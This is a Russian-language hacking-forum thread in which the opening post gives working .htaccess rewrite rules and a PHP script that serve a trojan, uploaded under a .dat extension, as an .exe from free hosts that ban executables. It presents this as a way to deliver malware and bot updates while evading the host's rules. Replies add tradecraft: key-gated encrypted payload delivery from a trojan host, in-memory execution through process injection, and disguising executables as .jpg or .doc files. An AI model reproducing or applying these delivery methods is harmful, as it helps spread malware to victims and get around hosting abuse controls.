• XSS.stack #1 – первый литературный журнал от юзеров форума

Отдаем файлы изподполы.

TrueUser

(L1) cache
Пользователь
Регистрация
13.07.2009
Сообщения
540
Реакции
2
Доброго времени всем, дамы и господа.
Сегодня хочу представить вам небольшую статью, посвященную методам
выдачи запрещенных файлов на вредных хостингах. Вообще говоря, на написание
этой статьи меня сподвиг Ar3s, так как имеючи именно такого вредного хостера
был заинтересован в результате.
Есть еще один интересный момент в этом деле. Все мы настолько ударились в
американскую бизнес модель, что совсем перестали подходить к выбору
хостинга с нашей русской замысловатой изюминкой. Типа так: "Делаем биз на фрихосте. Фууу - реклама мешает
работать, дизайн портит, скрипты неверно срабатывают, тогда берем платный хостинг. Нууу обуза сыплется,
что делать? Конечно брать антиабузный хост!". И во сколько нам это вываливается? Во многие сотни
грина, которые мы с удовольствием бы потратили на более приятные вещи.
Так почему бы нам не применить смекалку и обойти кое какие фрихостовые запреты?
Приступим!
Ситуация такова: хостер не разрешает тем или иным образом загружать и хранить
вам файлы с расширением .exe. А я скажу так - не беда.
Во первых что мы можем сделать, так это воспользоваться таким распространенным модом апача
как rewrite engine.
Создаем файл .htaccess в каталоге, где будет храниться загружаемый файл.
Пишем в нем:
Код:
RewriteEngine On
RewriteBase /

#Rewrite .exe to .dat
RewriteRule ^file\.exe$ /file.dat [L]
Пробуем что получится и видим, что файл file.dat отдается по запросу file.exe,
вроде то что нужно, но тут есть один момент. Если мы посмотим на HTTP заголовки,
отправляемые сервером, то увидим там вот что:
HTTP/1.1 200 OK
Date: Sat, 08 Aug 2009 10:15:57 GMT
Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4
Last-Modified: Thu, 30 Jul 2009 20:41:30 GMT
ETag: "bbf2-1e000-5410d280"
Accept-Ranges: bytes
Content-Length: 122880
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=windows-1251
В частности строка Content-Type: text/html; charset=windows-1251 нас может и не
устроить, хотя если вы выкладываете файл не для прогруза через браузер, а,
например, для того чтобы его выкачал ваш бот для обновления, то такой подход
должен прокатить.
Не будем останавливаться на достигнутом. Попробуем решить проблему более
качественно, для этого нам конечно же потребуется PHP.
Как нам (я надеюсь таки нам а не мне) известно - PHP умеет менять HTTP заголовки
отдаваемые сервером в браузер. Это ключевой момент предложенного подхода.
Итак, клепаем скрипт в папке с отдаваемым файлом (пускай будет все тот же file.dat,
который хостер нам благополучно позволил прогрузить - он то не знает что это
наш злой троянец с измененным расширением .exe на .dat).
Вот текст скрипта:
Код:
<?
error_reporting(0);
$file = 'file.dat';
$size = filesize($file);
$fp = fopen($file, "rb");
$exe = fread($fp, $size);
fclose($fp);
header("Content-Type: application/octet-stream");
header("Cache-Control: private", false);
header("Content-Transfer-Encoding: binary");
header("Accept-Ranges: bytes\r\n");
header("Content-Length: " . $size . "\r\n");
header("Content-Disposition: inline; filename=file.exe");
die($exe);
?>
А вот и модифицированный под наши нужды .htaccess:
Код:
RewriteEngine On
RewriteBase /

#Rewrite .exe to .php
RewriteRule ^file\.exe$ /file.php [L]
Здесь следует отметить несколько моментов:
1. В строке $fp = fopen($file, "rb"); желательно использовать флаг b, который
указывает интерпретатору открывать файл именно в двоичном режиме (зачем нам
открывать бинарник в текстовом тежиме, который используется по умолчанию, мало
ли чего при открытии может случиться, например замена символа \n (это 0x10 - CR)
на \n\r (это 0x10 0x13 - CR LF) тут все зависит от настроек самого сервера).
2. В строке header("Content-Type: application/octet-stream"); мы напрямую указываем
на тип передваемых данных - это приложение и браузер истолкует его именно так, а не как
в прошлый раз вывалив содержимое в окно.

Наконец хочется добавить в положительные моменты этого метода возможность
в коде зафиксировать факт обращения к файлу (как делают многие админки ботов и связок).

На этом я думаю стоит закончить статью, предварительно выразив благодарность
Ar3s и DeusTirael, за помощь в поиске генетического материала для исследований.
На последок хочу пожелать начинающим не пускаться во все тяжкие по стопам
бывалых а искать свои не менее замечательные и продуктивные пути решения
возникающих проблем. Удачи!

//For admins/moders если посчитаете статью достойной, положите в статьи плз//
 
А вот интересно, что можно сделать на фри windows хостингах, из того, что запрещено?
Тут интерес немного другой - запуск exe на сервере.

По статье.
Хостер не запретит каким-то AllowOverride выполнение директив
типа

#Rewrite .exe to .php

?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ничего, на любом хостинге ты юзер под своими правами, твой софт запущено под твоими правами и делать ты можешь как своим софтом так и сам только то что отведено в системе под твои права. :)
P.S.: к локальным эксплойтам это отношения не имеет.
 
вообще скачивать файлы путем
GET http://troyhost.cn/troy.exe это вчерашний день ,
правильнее http://troyhost.cn/genscript.php?id=mustdi...y=2462872694524
при правильно сгенерированном key отдается тело троя в зашифрованном виде,
которое потом после расшифровки запускается из памяти (напр путем инжекта всего процесса)... На бесплатных можно просто переименовать .exe в .jpg или price.doc , трой скачивает .jpg и переименовывает на тачке в exe и запускает...

p.s. интересно как долго держаться бесплатные хосты ? :)
 
вообще скачивать файлы путем
GET http://troyhost.cn/troy.exe это вчерашний день ,
Все так, только в статье описан обход проблемы несколько иного плана..

На бесплатных можно просто переименовать .exe в .jpg или price.doc , трой скачивает .jpg и переименовывает на тачке в exe и запускает...
Это было и без того понятно, только вот если у тебя на руках уже готовый троянец и внести изменения в его код ты уже не можешь (чтобы обращался к файлу с другим расширением) то приходится извращаться подобным образом.

p.s. интересно как долго держаться бесплатные хосты ?
Достаточно :) если грамотно все настроить чтоб не возникало лишних вопросов.
По статье.
Хостер не запретит каким-то AllowOverride выполнение директив
типа

#Rewrite .exe to .php

?
Такого мною лично замечено небыло :) тем более извратиться можно всегда и обойти простые фильтры...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх